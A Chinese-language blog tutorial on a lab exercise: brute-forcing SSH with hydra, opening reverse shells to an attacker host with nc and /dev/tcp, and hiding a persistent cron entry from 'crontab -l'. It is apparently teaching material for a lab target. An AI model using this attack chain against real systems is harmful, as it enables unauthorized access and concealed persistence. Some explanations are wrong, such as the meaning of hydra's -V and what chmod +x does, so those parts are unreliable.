模拟SSH爆破攻击

第一步开启靶机的SSH服务

  开启步骤:

  1. 打开终端并以root用户身份登录
    (第二步kali自带SSH服务器的可省略)
  2. 使用以下命令安装SSH服务器
    apt-get update
    apt-get install openssh-server
  3. 安装完成后。SSH服务将自动启动。可使用以下命令检查SSH服务的状态
    service ssh status

     显示0,说明没有开启SSH服务,使用以下命令启动SSH服务

    service ssh start

  4. 查看kali中22号端口(用于SSH服务)是否已经开启,需将root权限下输入以下命令
    netstat -tuln | grep 22

     看到以上输出说明22号端口已经开启并在监听状态

 

信息收集

使用攻击机扫描目标主机的端口

nmap 靶机ip地址

 

 发现开启22号端口,尝试爆破

爆破SSH

使用hydra进行爆破

hydra -L users.text -P password.txt -vV ssh://靶机ip地址

  • users.txt和password.txt为密码字典  
  • hydra是一款强大的密码破解工具,常用于暴力破解各种登录系统的凭据。
    -L选项指定用户名字典文件。
    -P选项指定密码字典文件。
    -v选项是hydra工具的详细模式选项,它会显示详细的输出,包括每个尝试的用户名和密码的结果。
    -V选项用于显示hydra工具的版本信息。
    ssh://靶机ip地址: 这部分指定了目标SSH服务器的地址。

  在kali linux系统中可使用 touch filename.txt 创建 .txt文件,使用 nano filename.txt 打开filename.txt文件并编辑,编辑完成Ctrl+O保存,然后按enter,Ctrl+X退出编辑

 通过枚举进行爆破,成功找到密码时字符颜变为绿色

 SSH登录

ssh 用户名@靶机ip地址

  • @表示登录在

 输入密码成功登录后变为

 成功进入后,在靶机上创建隐藏计划任务

尝试创建隐藏计划任务

创建shell反弹脚本:
  • 使用vim或nano文本编辑器创建一个新的文本文件reverse_shell.sh
    nano reverse_shell.sh
    vim reverse_shell.sh
  • 编写脚本代码:在文本编辑器中输入以下shell脚本代码,该代码用于创建shell连接
    #! /bin/bash
    nc 攻击机ip 攻击者端口 -e /bin/bash
    
    #!/bin/bash
    bash -i >& /dev/tcp/攻击者IP地址/攻击者端口 0>&1

     

创建完成后

查看文件操作权限

ls -l reverse_shell.sh

  •  rw-r--r--意味着root用户只有可读写该文件,其他用户只能读取该文件

     

使用命令调整操作权限

chmod +x reverse_shell.sh

  • chmod 命令更改文件权限。
    +x:此-x是chmod中的一个权限选项,用于添加文件的执行权限,-x用于移除文件的执行权限

     

执行上述命令后,变为所有用户都具有读、写和执行该文件的权限,而文件的所有者是root用户

 成功更改后在靶机上使用 ./reverse_shell.sh运行文件reverse_shell.sh,并在攻击机上另开一个终端使用命令 nc -lvp 端口号(反弹shell脚本中的端口号),监听成功会在终端如下图显示

创建定时任务:

为了维持权限,使用vim或nano文本编辑器创建定时任务task.sh

(crontab -l;printf "* * * * * /reverse_shell.sh;\rno crontw-wab for 'whoami' %100c\n") | crontab -
  • 五个*号分别代表具体的分、时、日、月、周,表示该字段的所有取值都匹配。
    1. * 在分钟字段中表示每一分钟都匹配。例如:* * * * * 表示每分钟都匹配。
    2. * 在小时字段中表示每一个小时都匹配。例如:0 * * * * 表示每小时的整点都匹配。
    3. * 在日期字段中表示每一天都匹配。例如:0 0 * * * 表示在每天的午夜执行。
    4. * 在月份字段中表示每一个月都匹配。例如:0 0 1 * * 表示在每个月的第一天执行。
    5. * 在星期字段中表示每一周都匹配。例如:0 0 * * 0 表示每个星期日执行。

注意一定要查看文件操作权限,更改为所有用户都可读写的权限后,在靶机上运行该文件。

chmod +x task.sh  是使用命令调整文件操作权限

./task.sh  使用命令启动文件

成功启动文件后,在攻击机上开始监听

尝试nc连接靶机shell

nc -lvp 1229

 

posted @   程亦澄  阅读(746)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律
点击右上角即可分享
微信分享提示